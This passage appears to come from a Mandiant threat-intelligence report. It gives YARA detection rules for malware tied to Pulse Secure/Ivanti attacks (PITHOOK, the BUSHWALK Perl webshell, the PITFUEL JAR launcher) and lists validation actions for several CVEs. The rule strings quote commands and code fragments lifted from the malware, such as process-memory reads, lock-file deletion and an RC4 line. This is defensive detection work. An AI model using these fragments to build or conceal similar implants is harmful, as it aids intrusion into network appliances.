  strings:

    $str2 = "cat /proc/%d/maps | grep mem.rd"

    $str3 = "/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd"

    $str4 = "rm -f /data/runtime/cockpit/wd.lock"

    $str5 = "/data/runtime/cockpit/dsAgent"

    $str6 = "watchdog"

    $str7 = "ps aux|grep '/home/bin/web'|grep -v grep | awk '{if (NR!=1) {print $2}}'"

  condition:

    uint32(0) == 0xBEBAFECA and all of them

}

rule M_Utility_PITHOOK_1 {

  meta:

    author = " Mandiant"

    description = "This rule is designed to detect on events related to PITHOOK."

  strings:

    $str1 = "/data/runtime/cockpit/wd.fd"

    $str2 = "/proc/self/maps"

    $str3 = "plthook_open"

    $str4 = "plthook_replace"

    $str5 = "plthook_close"

    $str6 = "plthook_open_by_handle"

    $str7 = "plthook_open_by_address"

    $str8 = "plthook_enum"

    $str9 = "plthook_error"

    $str10 = "accept4_hook"

  condition:

    uint32(0) == 0x464C457F and all of them

}

rule M_Hunting_Webshell_BUSHWALK_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects BUSHWALK, a webshell written in Perl 
CGI that is embedded into a legitimate Pulse Secure file to enable file transfers"

  strings:

    $s1 = "SafariiOS" ascii

    $s2 = "command" ascii

    $s3 = "change" ascii

    $s4 = "update" ascii

    $s5 = "$data = RC4($key, $data);" ascii

  condition:

    filesize < 5KB

    and all of them

}

rule M_Hunting_Launcher_PITFUEL_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects class used in PITFUEL, 
malicious JAR-based launcher that loads malicious code"

  strings:

    $h1 = {50 4B 03 04}

    $s1 = "com/toremote/gateway/plugin/PluginManager.class"

  condition:

    $h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80))

}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

Table 4: Mandiant Security Validation actions

VID

Name

A106-935

Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1

A106-934

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1

A106-936

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2

A106-986

Application Vulnerability - CVE-2024-21893, Exploitation, Variant #1

A107-055

Application Vulnerability - CVE-2024-22024, Exploitation, Variant #1

A107-060

Malicious File Transfer - BUSHWALK, Download, Variant #1